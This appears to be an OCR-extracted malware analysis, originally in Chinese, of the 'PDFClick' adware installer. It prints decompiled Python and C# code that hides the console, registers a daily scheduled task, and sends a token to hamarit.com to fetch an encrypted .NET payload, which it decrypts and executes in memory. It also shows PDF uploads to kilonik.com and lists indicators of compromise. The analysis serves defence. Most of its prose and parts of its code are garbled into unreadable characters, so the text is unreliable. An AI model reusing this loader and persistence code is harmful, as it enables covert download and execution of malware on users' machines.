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magic 8F T NIRRT
lengthofPackage 471 ¥IEHREKE
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tocLen 4777 TOCHEMASHIKE
pyver AFH  PythonEhRAS
pylibname 647717 #ix AZ\Pythonfi# 28 2 RS 44

K kRYgmFZ fFpythonffiZ<an T :

import json

import os

import sys

import tkinter as tk

from Config import config # pyzRNEpythonfia

from Screens import waiting, start # pyzEpythonfizs
from Infrastructure import log, handler# pyzNipythonfz

2/20



from Network import sender # pyzRfpythonfizs
from ctypes import windll

# EIEFHIBIERE E
SW_HIDE = ©

# [REEHAEN
hWnd = windll.kernel32.GetConsoleWindow()
windll.user32.ShowWindow(hWnd, SW HIDE)

if name == " main_":
try:
logger = log.Log()
sender = sender.Sender()

# RIEEWEKIFAL IR

resp = sender.send init("{}")

print(resp) # FTENRIAIEE.
print(logger.app_logger) # FTENHIEARAERE

# BHELE

logger.update(config.VID, resp[config.V6 VID])

logger.update(config.DOWNLOAD BROWSER,
resplconfig.V6 DOWNLOAD BROWSER])

logger.update(config.SOURCE ID, resp[config.V6 SOURCE ID])
logger.update(config.CHANNEL ID, resp[config.V6 CHANNEL ID])

logger.DB CORRECT =

logger.app logger[config.DOWNLOAD BROWSER].lower().startswith("c")

print(logger.app_logger) # FTENEFHAHRHE

# VA EHLAERS (ER)
handler = handler.Handler()

# RIEN SRR ECE SR R AR

if logger.app logger[config.DOWNLOAD BROWSER] == "":

# {FREMTRERE
logger.app logger[config.FTA NEXT] = "false"
app = start.StartWindow()
app.mainloop()
else:
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# ERFFREFENRERLRE

second window =

waiting.SecondWindow()

second window.start threads(handler.start install)

second window.mainloop()

except json.JSONDecodeError as e:
# JSONfigtfT % 4bIH
print(f"JSON error: {e}")
second window =

waiting.SecondWindow()

second window.start threads(handler.start install)

second window.mainloop()

except Exception as e:
# SELLE

logger.update(config.SIMULATION STATUS,

logger.update(config.FTA OPEN,

"Failed to open app")
"false")

sender.send cil(logger.app logger)

raise

pyinstallerfcipythonflIAgmEmpyc , REEIN E4ERpyz , FFHBEI X pycHpy z#ARASI
IheE , Hpyz B RAZEEREMarchive. pyct , BEFIMTERKIpy ZBEAMR (KB BEHHMpyz

BEARIRR AL’ PYZ\X00)

import
import
import marshal

import zlib

import frozen importlib

0S
struct

# KL Python B¥ (RTFHRSARARIE)
PYTHON MAGIC NUMBER = frozen importlib

# ENPMGKERNEE
PYZ ITEM MODULE = @  # Python ##ik
PYZ ITEM PKG = 1 # Python &
PYZ ITEM DATA = 2 # BRI
PYZ ITEM NSPKG = 3 # A TEAE

class ArchiveReadError(RuntimeError):
~_module = name
__qualname = 'ArchiveReadError'
__firstlineno = 35

. _bootstrap external.MAGIC NUMBER
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class ZlibArchiveReader:

__module = name
~_qualname = 'ZlibArchiveReader"
__firstlineno = 39

# PYZ BE¥HRR
_PYZ MAGIC PATTERN = b'FUQ\x00'

# 2SR
~static attributes = (' filename', ' start offset', 'toc')

def init (self, filename, start offset=None, check pymagic=False):

self. filename = filename
self. start offset = start offset
self.toc = {}

# W& RIS £

if start offset is None:
self. filename, self. start offset =
self. parse offset from filename(filename)

try:
with open(self. filename, 'rb') as fp:
# ENE|EEEBE
fp.seek(self. start offset, o0s.SEEK SET)

# IOUFIARYBEER
magic = fp.read(len(self. PYZ MAGIC PATTERN))
if magic != self. PYZ MAGIC PATTERN:
raise ArchiveReadError("PYZ magic pattern mismatch!")

pymagic = fp.read(len(PYTHON MAGIC NUMBER))
if check pymagic and pymagic !'= PYTHON MAGIC NUMBER:
raise ArchiveReadError("Python magic pattern mismatch!")

# ERNB WL E
(toc_offset,) = struct.unpack("!i", fp.read(4))
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# ELIFFMBERNA
fp.seek(self. start offset + toc offset, os.SEEK SET)
self.toc = dict(marshal.load(fp))

except Exception as e:

[ =M
aslit) LhIH
raise ArchiveReadError(f"Error reading archive: {str(e)}") from e

XA BRI py 23 B R R IE AR Z LibfRE , M ARRREEIZRAR SR T B E XEIEM
ZUibf# RARLE S T IR INE

def extract(self, name, raw=False):
# MNEMPREGEE &E
entry = self.toc.get(name)
if entry is None:
return None

# fiRBe% 8 TiE
typecode, entry offset, entry length = entry

try:
with open(self. filename, 'rb') as fp:
# ENERIZEIE
fp.seek(self. start offset + entry offset, os.SEEK SET)
obj = fp.read(entry length)

— R
ob] = bytes(
b ~ b'HiOIbbhPYMTovd'[i % len(b'HiOIbbhPYMTovd')]
for i, b in enumerate(obj)

# Zlib figx
obj = zlib.decompress(obj)

" EREM®E
ob] = bytes(
b ~ b'KIDVrBxPNcH'[i % len(b'KIDVrBxPNcH')]
for i, b in enumerate(obj)

# REFDIF
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obj = obj[::-1]

# Xt Python #3#4T unmarshal
if typecode in (PYZ ITEM MODULE, PYZ ITEM PKG, PYZ ITEM NSPKG)
and not raw:
obj = marshal.loads(obj)

return obj

except FileNotFoundError:
# REHEK
raise SystemExit(
f"{self. filename} appears to have been moved or deleted since
this application was launched. "
“Continouation from this state is impossible. Exiting now."

except EOFError as e:
# AIRBIREMTSER
raise ImportError(f"Failed to unmarshal PYZ entry {name}!") from e

RENMBENEEESNT ¢

APP_NAME = 'PDFClick'

ID TEXT FILE = 'pctxt.txt'

APP_VERSION = '1.3.0.6'

WELCOME _TEXT = 'Welcome to PDFClick

MAIN DESCRIPTION = "Thank you for choosing PDFClick, your ultimate solution
for PDF\ncompressing, converting and merging.\nThe wizard will guide you
through the installation process.\nClick 'Next' to continue."

QUIT MSG = 'Do you really want to close the app?'

INSTALLATION TEXT = 'Installing PDFClick'

BASE URL = 'https://kilonik.com’

V6 = '/pdclick'

CIL = '/pdsend'’

S2S = '/pd2s’

UPDATER URL = 'https://pdup.kilonik.com/update’

TERMS URL = 'https://www.pdfclickapp.com/terms-of-service/"

PRIVACY URL = 'https://www.pdfclickapp.com/privacy-policy/"

USER ID = 'pcuu’

0S TYPE = 'pcv2'

0S VERSION = 'pcvl'
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FTA OPEN = 'start op'

INSTALLER RELEASE VERSION = 'verpc'

VID = 'v_pdfC'

FTA NEXT = 'nextpc'

FTA CLOSED = 'exitpc'

TYP_OPENED = 'succpc'

SIMULATION STATUS = 'pcinf!

DOWNLOAD BROWSER = 'd pdfC'

IOI = 'singlepc'

CHANNEL ID = 'c_pdfC'

SOURCE_ID = 's pdfC'

INSTALLATION SCREEN CLOSED = 'exitprogpc'’

V6 DOWNLOAD BROWSER = 'DB PdfC'

V6 SOURCE ID = 'S PdfC'

V6 CHANNEL ID = 'C pdfC'

V6 VID = 'V _PdfC'

TASK _NAME = 'PDC Update’

RELATIVE PATH = 'PDFClick\\PDFClick\\PDFClick.exe'
RELATIVE PATH UPDATER = 'PDFClick\\PDFClickUpdater.exe'
APP_ID = '1745829665386647"

WIS IR EIPDFClick. zip3HfigEZ Local HF

def extract zip(self, file to extract):
# PDFClick.zip
zip path = self.resource path(file to extract)
extract to = os.path.join(os.getenv("LOCALAPPDATA"), config.APP_NAME)

print("dst: " + extract to)

with zipfile.ZipFile(zip path, "r") as zip ref:
zip ref.extractall(extract to)
print("Extracted contents to: " + extract to)

PlEREET

def create shortcut(self, shortcut name, target path):
pythoncom.CoInitialize()
desktop = winshell.desktop()
Ink path = os.path.join(desktop, shortcut name + ".lnk")

print(lnk path)
shell = Dispatch("WScript.Shell")
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lnk = shell.CreateShortCut(lnk path)

lnk.Targetpath = target path

Ink.WorkingDirectory = os.path.dirname(target path)
Ink.IconLocation = target path + ",0"

lnk.save()

print("Shortcut created:", lnk path)
pythoncom.CoUninitialize()

BN ChromeZRIATIEEIE , B Chromeilitzs B BRI

def create task(self):
if self.is chrome installed():
dst path = os.path.join(os.getenv("LOCALAPPDATA"), config.APP NAME)
# TEEMAM
update.get update(dst path, self.logger.app logger[config.USER ID])

updater path = os.path.join(dst path, "PDFClickUpdater.exe")
print("updater path: " + updater path)

if os.path.isfile(updater path):
print("monetized version")
# BIBTRIES
update.update(self.logger.app logger[config.IOI])

def is chrome installed(self):
chrome paths = [
os.path.join(os.getenv("PROGRAMFILES"),
"Google\\Chrome\\Application\\chrome.exe"),
os.path.join(os.getenv("PROGRAMFILES(X86)"),
"Google\\Chrome\\Application\\chrome.exe"),
os.path.join(os.getenv("LOCALAPPDATA"),
"Google\\Chrome\\Application\\chrome.exe")
]

return any(os.path.isfile(path) for path in chrome paths)

ZChrome|'RERGNTLE , WMAEEIFHKUPDATER URLFE FHREE HhH

def get update(download path: str, user id: str) -> None:

T ESHREN AR
data = {

‘app _id': config.APP 1ID, #APP ID = '1745829665386647"
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try:

'user id': user id #USER ID = 'pcuu'

# RIEFEFNEK

response = requests.post(
config.UPDATER URL, #'https://pdup.kilonik.com/update’
data=data,
timeout=60

# WARER

print("Status code:", response.status code)
print("Headers:", response.headers)
print("Content length:", len(response.content))

# KWEHTTPENR
response.raise for status()

# QB TEHRER
os.makedirs(download path, exist ok=True)
zip path = os.path.join(download path, "native.zip")

print("Saving to:", zip path)

# SA\ZIPXCH
with open(zip path, "wb") as f:
f.write(response.content)

print("File written successfully.")

# fREX

import zipfile

with zipfile.ZipFile(zip path, "r") as zip ref:
zip ref.extractall(download path)

print("Extracted to:", download path)
# HBRZIPI 4

os.remove(zip path)
print("Removed ZIP file:", zip path)
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except requests.RequestException as e:
print("Request failed:", e)
except IOError as e:
print("File write failed:", e)
except zipfile.BadZipFile:
print("Downloaded file is not a valid ZIP.")
except Exception as e:
print("Unexpected error:", e)

B IR ELFHUPDFClickUpdater. exelRMEITRIES

def update() -> str:
pythoncom.CoInitialize()
try:
task name = config.TASK NAME
local app data = os.environ.get("LOCALAPPDATA")
executable path = os.path.join(local app data,
config.RELATIVE PATH UPDATER)

# MERFARR
current user = f"{os.environ.get('USERDOMAIN") }\\
{os.environ.get('USERNAME"')}"

# WEEHNE (24/MF/7)

start _time = (datetime.now() + timedelta(hours=24)).strftime("S%Y-%m-

%dT%H :%M:%S" )

# EREFITRIRS

service = win32com.client.Dispatch("Schedule.Service")
service.Connect()

root folder = service.GetFolder("\\")

existing tasks = root folder.GetTasks(0)

# KEXFERDHFE
for t in existing_ tasks:
if t.Name == task name:
print(f"ResourceExists: The task '{task name}' already
exists.")
return "true"

# BIZFES



task = service.NewTask(0)

task.RegistrationInfo.Description = "Task created with specific
settings using COM object."

task.RegistrationInfo.Author = os.environ.get("USERNAME")

# RERLFE

task.Principal.UserId = current user
task.Principal.LogonType = 3 # FHILER
task.Principal.RunLevel = 0 # mEHR

# E5RE

settings = task.Settings
settings.StartWhenAvailable = True
settings.RestartCount = 2

settings.RestartInterval = "PT10M" # 10444EE[A)fE
settings.RunOnlyIfNetworkAvailable = True
settings.DisallowStartIfOnBatteries = False
settings.StopIfGoingOnBatteries = False

# TRRE

idle = settings.IdleSettings
idle.StopOnIdleEnd = False
idle.RestartOnIdle = True

# QEEHMAES

trigger = task.Triggers.Create(2) # TASK TRIGGER DAILY
trigger.StartBoundary = start time

trigger.DaysInterval = 1

# QUIRBBUTIRE
action = task.Actions.Create(0@) # TASK ACTION EXEC
action.Path = executable path

# EMMES

root folder.RegisterTaskDefinition(
task name,
task,
6, # TASK CREATE OR UPDATE
None,
None,
3  # TASK LOGON PASSWORD
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print(f"Task '{task name}' successfully registered to run
{executable path} daily at {start time}.")
return "false"

finally:
pythoncom.CoUninitialize()

PDFClickUpdater.exes3 4T

FE NE
R34 44 PDFClickUpdater.exe
XK/ 32 KB
XAHEMD5  efbfe2cdcca3779ee92da5518d4b48b9
XHER EXE
wE4 Adware.PDFClick!1.13617
FEDRE MEMRSIREHERIMEARES

B SO ZIAR BB AN 24 BTA [E) R X 2 AR 5525

ValueTuple<Updater.TokenDetails, string> serializedTokenObj =
this.GetSerializedTokenObj ("YYMdHHmmss") ;

Updater.TokenDetails tokenDetails = serializedTokenObj.Iteml;

string item = serializedTokenObj.Item2;

string text = await this.PostAsync("https://hamarit.com/credit", item);

AR S5 i [EHE R ARSI IS AESig &

string text2 = await this.PostAsync("https://hamarit.com/go",
JsonConvert.SerializeObject(new
{

Obj = JsonConvert.SerializeObject(tokenDetails),

Token = text
}));
byte[] bytes = JsonConvert.DeserializeObject<byte[]>
(this.Dec(tokenDetails.InstallationDate, tokenDetails.Current, text2));

private string Dec(string password, string salt, string cipherText)

{
string text2;
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try
{
using (Aes aes = Aes.Create())
{
aes.Key = this.DeriveKey(password, () => SHA256.Create());
aes.IV = this.DeriveKey(salt, () => MD5.Create());
byte[] array = JsonConvert.DeserializeObject<byte[]>(cipherText);
using (ICryptoTransform cryptoTransform = aes.CreateDecryptor())
{
using (MemoryStream memoryStream = new MemoryStream(array))
{
using (CryptoStream cryptoStream = new
CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Read))
{
using (StreamReader streamReader = new
StreamReader(cryptoStream))

{
string text = streamReader.ReadToEnd();
if (string.IsNullOrEmpty(text))
{
text2 = string.Empty;
}
else
{
int num = (int)text[text.Length - 1];
if (num < 1 || num > 16 || num > text.Length)
{
throw new CryptographicException("Invalid
padding detected");
}
text2 = text.Substring(0, text.Length - num);
}
}
}
}
}
¥
¥
catch (Exception ex)
{

throw new CryptographicException(string.Format("Decryption failed:
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{0}", ex.Message), ex);

}

return text2;

KN HETE THFE R BFECARAEI T AT

private void Run(byte[] assemblyBytes)
{
string assemblyArchitecture =
this.GetAssemblyArchitecture(assemblyBytes);
bool is64BitProcess = Environment.Is64BitProcess;
bool flag = assemblyArchitecture.Contains("x64");
if (is64BitProcess == flag)
{
this.LoadAssemblyDirect(assemblyBytes);
return;

}

this.SpawnProcessForArchitecture(assemblyBytes, flag);

AECAIETRIT , MR AR ERARNGFT T

private void LoadAssemblyDirect(byte[] assemblyBytes)

{
try

{
Assembly assembly = Assembly.Load(assemblyBytes);

PropertyInfo property = assembly.GetType().GetProperty("EntryPoint");

MethodInfo methodInfo = ((property != null) ?
property.GetValue(assembly) : null) as MethodInfo;
if (methodInfo != null)

{
methodInfo.Invoke(null, new object[] { new string[0O] });
}
}
catch (Exception)
{
}

AR THIT , R REIRE IR B RGP IT
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private void SpawnProcessForArchitecture(byte[] assemblyBytes, bool needsX64)

{

try
{
string text = Path.GetTempFileName() + ".exe";
File.WriteAllBytes(text, assemblyBytes);
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = text;
processStartInfo.UseShellExecute = false;
processStartInfo.RedirectStandardOutput = true;
processStartInfo.RedirectStandardError = true;
processStartInfo.CreateNoWindow = true;
if ((!needsX64 || Environment.Is64BitProcess) && !needsX64)
{
bool is64BitProcess = Environment.Is64BitProcess;
}
using (Process process = Process.Start(processStartInfo))
{
process.StandardOutput.ReadToEnd();
process.StandardError.ReadToEnd() ;
process.WaitForExit();
}
try
{
File.Delete(text);
}
catch
{
}
}
catch (Exception)
{
}

}
GREFFEAPDFCLICKIIEEMIFHERAL | AN RS IEHERBIRAENFFBERIT , XE— ML EHNITA

PDFClick.exe(EFEF)H 1T

FH P
FUAT 144 PDFClick.exe
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FE NE
XK/ 13058 KB
XAHEMD5  e51d3270e506a505b97d2ea5d7aeb383
XHER EXE
WE4 Adware.PDFClick!1.1357C
FENEE BEXKPyInstallerfTBREF. B EELER I LEERS 25

BMAATR , FIEXHa7EAR T A

How safe are my files when using PDFClick? ~

Document security represents our highest priority. PDFClick processes all files locally on your device, ensuring your sensitive information never fravels to external servers or cloud sforage. We

implement industry-standard encryption protocols and maintain sirict privacy standards to protect your documents throughout the entire processing werkflow.

Must | stay connected to the internet while using PDFClick? ~

Mot at all! PDFClick operates completely offline on your local machine. providing faster processing speeds and enhanced privacy protection since documents remain on your computer. Internet

connectivity is only necessary during initial software activation and periodic update checks.

BNWTABA IR B EAMAIEPDFX 4, TR EEERF IR , RS 2R TTAXT SCHERIHRIE

def on process(self, mode):
mode :
compress
merge
convert
url = utils.ENDPOINTS[mode]
files = []

try:
for f in self.selected:
files.append(("files", open(f, "rb")))

if mode == "merge":
url += str(len(files))

resp = requests.post(url, files=files)
resp.raise for status()

messagebox.showinfo("Success", f"{mode.capitalize()} successful!")

self.show("MainPage")
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except Exception as e:
messagebox.showerror("Error", f"Upload failed:\n{e}")

PR R HINREMXT N KRS HEO 0T

PDFCLICK — X

What will you like to do?

Je Compress PDF
ar

Reduce file size while maintaining quality

= Merge PDFs Choose Files
Combine multiple PDF files into a single document

. S

i -,
- Convert to PDF
« Transform images or documents to PDF format

i Iy

R ThiE EERRS A
Compress PDF E45PDF3 {4 https://juk.kilonik.com/PDC/compress

Merge PDFs  BZAPDFXH&FA— hitps://juk kilonik.com/PDC/merge
Convert to PDF ¥ & el sif4g# APDF  hitps://juk.kilonik.com/PDC/convert/pdf

=+
Il%é A

EMFUNANESHAIE AN E RS T , PDFAMESSIRE ARSI AHAE TR, KM, X
PDFClickiiiRix A B Py Installe rfTEMEXESFHITIERMNEM |, 1L KA FARZIARE , £F
IMEEREANIET AT G |, TJaElEmE “ENTE XK.

T

1. RTFFRT &R M.
RNTFRENKIRAI AT BE ARSI | Bkt S TR E KT,
2. WEME R LTHEBA . MEREFEMRE L.
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3. REFVHINAENRY , EEEREEHNADRE,

RERMTEBEEXENADRS , IRALAMNMN TR T EEXH , AFRGTEEESR | bR
F151T , RIPAFNRRRE,

I ESMB RIS AT UG H HR B E AR A

BR5Th, iaiLIEF 5=

o 34 FHIEE : 48P El: 3 AR : O Fiaf : 00:00:02

FREA iR
HEfE 2 BRER 53 A [EEE TR : 3 =EIER : 0 A S
“Er S ] PR s
vl & DFCI = \Users\hi\DesktopsampleiUninstall.exe ==l
\Users\hi\Desktop..\pdfclick_install.exe ==

=22 2 CaULA\Uninstall.exe

Ay
I
T 3 3
®
I
TR

Ch\Users\hi\Desktop\sample\PDFClick.exe ==

4. BEEA RO T HEERAA T,
yefafstr (10C)
e MD5

€51d3270e506a505b97d2ea5d7aeb383
b2b5f38b69f51196f57e797cal989bae
6e€9d65e0e7864115ce5b040f8d390c54
efbfe2cdcca3779ee92da5518d4b48b9

¢ Domain

kilonik.com
pdfclickapp.com
hamarit.com
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o MERES

Adware.PDFClick!1.1357C
Adware.PDFClick!1.13617
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